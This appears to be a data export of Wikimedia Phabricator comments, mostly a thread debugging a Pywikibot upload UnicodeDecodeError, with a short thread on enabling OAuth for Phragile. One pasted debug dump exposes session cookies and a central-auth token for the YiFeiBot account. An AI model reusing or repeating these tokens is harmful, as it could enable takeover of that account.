+send: u'GET /w/api.php?maxlag=5&format=json&rawcontinue=&meta=tokens%7Cuserinfo&action=query&type=csrf%7Ccsrf%7Cdeleteglobalaccount%7Cpatrol%7Crollback%7Csetglobalaccountstatus%7Cuserrights%7Cwatch&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: GeoIP=::::v4; centralauth_Token=78b8f029c49c2f259939a0b5dadd6c8a; centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiSession=244c342c5006ef116c903f7b68678c79; commonswikiUserID=2915654; forceHTTPS=true; WMF-Last-Access=17-May-2015; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
+reply: 'HTTP/1.1 200 OK\r\n'
+header: Server: nginx/1.6.2
+header: Date: Sun, 17 May 2015 01:11:34 GMT
+header: Content-Type: application/json; charset=utf-8
+header: Content-Length: 321
+header: Connection: keep-alive
+header: X-Powered-By: HHVM/3.6.1
+header: X-Content-Type-Options: nosniff
+header: Cache-control: private, must-revalidate, max-age=0
+header: X-Frame-Options: SAMEORIGIN
+header: Content-Encoding: gzip
+header: Vary: Accept-Encoding
+header: X-Varnish: 968176035, 3348398412
+header: Via: 1.1 varnish, 1.1 varnish
+header: Accept-Ranges: bytes
+header: Age: 0
+header: X-Cache: cp1054 miss (0), cp1068 frontend miss (0)
+header: X-Analytics: https=1;WMF-Last-Access=17-May-2015
+Sleeping for 7.5 seconds, 2015-05-17 01:11:34
+ERROR: Traceback (most recent call last):
+  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1556, in submit
+    body=body, headers=headers)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 1094, in wrapper
+    return obj(*__args, **__kw)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 279, in request
+    r = fetch(baseuri, method, body, headers, **kwargs)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 381, in fetch
+    error_handling_callback(request)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 297, in error_handling_callback
+    raise request.data
+UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1850: ordinal not in range(128)
+```
+I believe the UnicodeDecodeError happened before the upload request is really sent. 
+
+The exact values is: 
+```
+site.upload(pywikibot.FilePage(site, ""File:Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg""), source_filename=""temp/fli.tmp"", comment=""[[Commons:Bots|Bot]]: Uploading files from Flickr"", ignore_warnings=False)
+```
+git diff shows nothing and git status shows HEAD detached at d798da3",,,1431825892,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+459848,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"It should log to stdout, yes. For example:
+
+```
+>>> import httplib2
+>>> httplib2.debuglevel = 4
+>>> import pywikibot
+>>> pywikibot.Page(pywikibot.Site(), 'test')
+connect: (en.wikipedia.org, 443)
+send: u'GET /w/api.php?maxlag=5&continue=&format=json&meta=siteinfo%7Cuserinfo&action=query&siprop=namespaces%7Cnamespacealiases%7Cgeneral&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: en.wikipedia.org\r\nconnection: keep-alive\r\ncontent-type: application/x-www-form-urlencoded\r\naccept-encoding: gzip, deflate\r\nuser-agent: (wikipedia:en; User:Valhallasw) Pywikibot/2.0b3 (g5524) httplib2/0.9 Python/2.7.6.final.0\r\n\r\n'
+reply: 'HTTP/1.1 200 OK\r\n'
+...
+etc.
+```
+
+but it's possible the exception occurs earlier. 
+
+Can you provide the exact values you pass to
+```
+site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
+```
+
+and the original file? That could help in reproducing the issue. Please check that, if you start
+```python pwb.py shell```
+
+and run
+```
+import pywikibot
+site = pywikibot.Site('commons', 'commons')
+site.upload(<your parameters>)
+```
+
+the same issue occurs.",,,1431796341,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1
+459847,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"It should log to stdout, yes. For example:
+
+```
+>>> import httplib2
+>>> httplib2.debuglevel = 4
+>>> import pywikibot
+>>> pywikibot.Page(pywikibot.Site(), 'test')
+connect: (en.wikipedia.org, 443)
+send: u'GET /w/api.php?maxlag=5&continue=&format=json&meta=siteinfo%7Cuserinfo&action=query&siprop=namespaces%7Cnamespacealiases%7Cgeneral&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: en.wikipedia.org\r\nconnection: keep-alive\r\ncontent-type: application/x-www-form-urlencoded\r\naccept-encoding: gzip, deflate\r\nuser-agent: (wikipedia:en; User:Valhallasw) Pywikibot/2.0b3 (g5524) httplib2/0.9 Python/2.7.6.final.0\r\n\r\n'
+reply: 'HTTP/1.1 200 OK\r\n'
+...
+etc.
+```
+
+but it's possible the exception occurs earlier.
+
+Can you provide the exact values you pass to
+```
+site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
+```
+
+and the original file? That could help in reproducing the issue.",,,1431796288,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1
+459830,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),@valhallasw do you mean there's a log file or something? I find no change to stdout or stderr with that code added.,,,1431793730,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0
+459825,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"@zhuyifei1999, please don't remove comments. Clarifying later that the issue wasn't resolved is clear enough.
+
+Could you try adding
+```
+import httplib2
+httplib2.debuglevel = 4
+```
+
+before the `site.upload()` call? That should make httplib2 output some more detailed information.
+
+",,,1431792806,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0,1,1,0,0
+459821,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Ok I added a traceback.print_exc() to https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/comms/threadedhttp.py#L225 and got this:
+
+```
+Traceback (most recent call last):
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/threadedhttp.py"", line 221, in request
+    max_redirects, connection_type
+  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1569, in request
+    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1316, in _request
+    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1252, in _conn_request
+    conn.request(method, request_uri, body, headers)
+  File ""/usr/lib/python2.7/httplib.py"", line 973, in request
+    self._send_request(method, url, body, headers)
+  File ""/usr/lib/python2.7/httplib.py"", line 1007, in _send_request
+    self.endheaders(body)
+  File ""/usr/lib/python2.7/httplib.py"", line 969, in endheaders
+    self._send_output(message_body)
+  File ""/usr/lib/python2.7/httplib.py"", line 827, in _send_output
+    msg += message_body
+UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)
+ERROR: Traceback (most recent call last):
+  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1556, in submit
+    body=body, headers=headers)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 1094, in wrapper
+    return obj(*__args, **__kw)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 279, in request
+    r = fetch(baseuri, method, body, headers, **kwargs)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 381, in fetch
+    error_handling_callback(request)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 297, in error_handling_callback
+    raise request.data
+UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)
+
+WARNING: Waiting 5 seconds before retrying.
+```
+
+Hopefully this works",,,1431791325,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+459820,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Ok I added a traceback.print_exc() to https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/comms/threadedhttp.py#L225 and got this:
+
+```
+Traceback (most recent call last):
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/threadedhttp.py"", line 221, in request
+    max_redirects, connection_type
+  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1569, in request
+    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1316, in _request
+    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1252, in _conn_request
+    conn.request(method, request_uri, body, headers)
+  File ""/usr/lib/python2.7/httplib.py"", line 973, in request
+    self._send_request(method, url, body, headers)
+  File ""/usr/lib/python2.7/httplib.py"", line 1007, in _send_request
+    self.endheaders(body)
+  File ""/usr/lib/python2.7/httplib.py"", line 969, in endheaders
+    self._send_output(message_body)
+  File ""/usr/lib/python2.7/httplib.py"", line 827, in _send_output
+    msg += message_body
+UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)
+ERROR: Traceback (most recent call last):
+  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1556, in submit
+    body=body, headers=headers)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 1094, in wrapper
+    return obj(*__args, **__kw)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 279, in request
+    r = fetch(baseuri, method, body, headers, **kwargs)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 381, in fetch
+    error_handling_callback(request)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 297, in error_handling_callback
+    raise request.data
+UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)
+
+WARNING: Waiting 5 seconds before retrying.
+```",,,1431791288,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+459817,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Sorry, I'm wrong again. Running after ""git checkout d798da349087d231d9dad203cd6b48a1aea03875"" gets the error again.
+
+As for ""ASCII string"" I meant all characters are valid ascii characters, and the_string.encode('ascii') does not fail, and there is no u flag before the string.",,,1431790759,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+459815,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Uh … great that Python 3 doesn't work :( Do you mean with “ASCII string” that `the_string.encode('ascii')` does not fail? Also your other traceback isn't very helpful either as there is no HTTP layer present (it's in another thread) :( .
+
+And I don't think d798da349 fixed your issue (I at least couldn't explain why).",,,1431790403,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0
+459816,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),,,,1431790446,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+459813,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),,,,1431790268,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+459810,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"The command is site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
+where imagePage is a pywikibot.Page,
+path is an ascii string,
+self.summary is an ascii string
+ignore is False
+
+A KeyboardInterrupt during the wait shows:
+
+```
+WARNING: Waiting 40 seconds before retrying.
+^CTraceback (most recent call last):
+  File ""flickrAZ.py"", line 194, in <module>
+    main()
+  File ""flickrAZ.py"", line 190, in main
+    bot.run()
+  File ""flickrAZ.py"", line 178, in run
+    self.parsePages()
+  File ""flickrAZ.py"", line 72, in parsePages
+    self.parsePhoto(photo)
+  File ""flickrAZ.py"", line 133, in parsePhoto
+    self.upload(imagePage, fileURL, name, False)
+  File ""flickrAZ.py"", line 153, in upload
+    site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 950, in wrapper
+    return obj(*__args, **__kw)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/site.py"", line 4969, in upload
+    result = req.submit()
+  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1579, in submit
+    self.wait()
+  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1710, in wait
+    time.sleep(self.retry_wait)
+KeyboardInterrupt
+```
+
+As for Python 3, it gives ""ImportError: No module named 'urllib2'"". I'm not sure if I can run it
+
+EDIT: urllib2 issue fixed, but the flickr library I am using has too much syntax errors in python 3",,,1431789936,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+459807,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"The command is site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
+where imagePage is a pywikibot.Page,
+path is an ascii string,
+self.summary is an ascii string
+ignore is False
+
+A KeyboardInterrupt during the wait shows:
+
+```
+WARNING: Waiting 40 seconds before retrying.
+^CTraceback (most recent call last):
+  File ""flickrAZ.py"", line 194, in <module>
+    main()
+  File ""flickrAZ.py"", line 190, in main
+    bot.run()
+  File ""flickrAZ.py"", line 178, in run
+    self.parsePages()
+  File ""flickrAZ.py"", line 72, in parsePages
+    self.parsePhoto(photo)
+  File ""flickrAZ.py"", line 133, in parsePhoto
+    self.upload(imagePage, fileURL, name, False)
+  File ""flickrAZ.py"", line 153, in upload
+    site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 950, in wrapper
+    return obj(*__args, **__kw)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/site.py"", line 4969, in upload
+    result = req.submit()
+  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1579, in submit
+    self.wait()
+  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1710, in wait
+    time.sleep(self.retry_wait)
+KeyboardInterrupt
+```
+
+As for Python 3, it gives ""ImportError: No module named 'urllib2'"". I'm not sure if I can run it",,,1431789425,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+459805,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Okay what command did you use to get the exception? And is it possible to run it in Python 3 maybe? The traceback itself isn't really helpful but afaics at some point in the HTTP layer there was the UnicodeDecodeError and I don't think it's related to the MediaWiki server itself. The problem is that I can't see where the error originally came from and at least usually does Python 3 provide you all exceptions that lead to an exception so this might help.
+
+```
+Python 3.4.3 (default, Mar 10 2015, 13:05:12) 
+[GCC 4.8.3 20140911 (Red Hat 4.8.3-7)] on linux
+Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
+>>> try:
+...   int('a')
+... except Exception as e:
+...   ex = e
+... 
+>>> raise ex
+Traceback (most recent call last):
+  File ""<stdin>"", line 1, in <module>
+  File ""<stdin>"", line 2, in <module>
+ValueError: invalid literal for int() with base 10: 'a'
+```
+
+```
+Python 2.7.8 (default, Aug 28 2014, 16:47:22) 
+[GCC 4.8.3 20140624 (Red Hat 4.8.3-1)] on linux2
+Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
+>>> try:
+...   int('a')
+... except Exception as e:
+...   ex = e
+... 
+>>> raise ex
+Traceback (most recent call last):
+  File ""<stdin>"", line 1, in <module>
+ValueError: invalid literal for int() with base 10: 'a'
+```",,,1431788097,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1
+459802,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Unfortunately HEAD is not very specific. The two most current versions (I've checked yet) have different line numbers. What does `python pwb.py version` tell?
+
+//EDIT:// Great just checked the history one commit further and it's as of 1e54a7d6. Seems sensible.",,,1431787598,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0
+459800,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),Unfortunately HEAD is not very specific. The two most current versions (I've checked yet) have different line numbers. What does `python pwb.py version` tell?,,,1431787532,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,1,0
+98954,Activate OAuth Server Application in Phabricator for phragile login,"The OAuth Server Application has to be activated in Phabricator. Once activated Phragile needs to be registered as an OAuth application. There are two fields to fill out when creating a new OAuth application. ""Name"" should be ""Phragile"" and ""Redirect URL"" should be ""http://our-phragile-domain/login"" (we don't know yet what the domain will be but it can be changed later on anyway). This will generate an OAuth Client ID and an OAuth Client Secret which Phragile needs in order for the OAuth login mechanism to work.
+
+See discussion in T90489 
+
+(we need this solved before the hackathon in Lyon) - thanks.",Medium,50.0,1431515737,1431673670.0,PHID-USER-ydl4ek3zzlyuz7f7upgt,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-kuvvshzwmdawexammucy,task_description,resolved,True,c3,1,False,False,True,-8,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+460746,Activate OAuth Server Application in Phabricator for phragile login,"@mmodell It's working now, thanks!",,,1432037869,,PHID-USER-5dv7dcltvyvolwzbm2af,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0
+460642,Activate OAuth Server Application in Phabricator for phragile login,"@jakob_wmde: apologies, it seems the edit I made was not saved (for unknown reason, maybe an error on my part) but it should work now. Try it again and let me know? Thanks for your patience.",,,1432001498,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0
+460189,Activate OAuth Server Application in Phabricator for phragile login,@mmodell I don't seem to have edit rights on the Phragile OAuth client yet. Did something go wrong or do I just have to wait a bit?,,,1431945904,,PHID-USER-5dv7dcltvyvolwzbm2af,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,False,,,-7,True,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0
+460149,Activate OAuth Server Application in Phabricator for phragile login,@abraham: done,,,1431939642,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+460133,Activate OAuth Server Application in Phabricator for phragile login,@mmodell thanks! May @Jakob_WMDE get also edit rights? ,,,1431937793,,PHID-USER-ydl4ek3zzlyuz7f7upgt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0
+459146,Activate OAuth Server Application in Phabricator for phragile login,"I ran this by @csteipp on irc and he didn't have any objections as long as we keep up on upstream security updates.
+
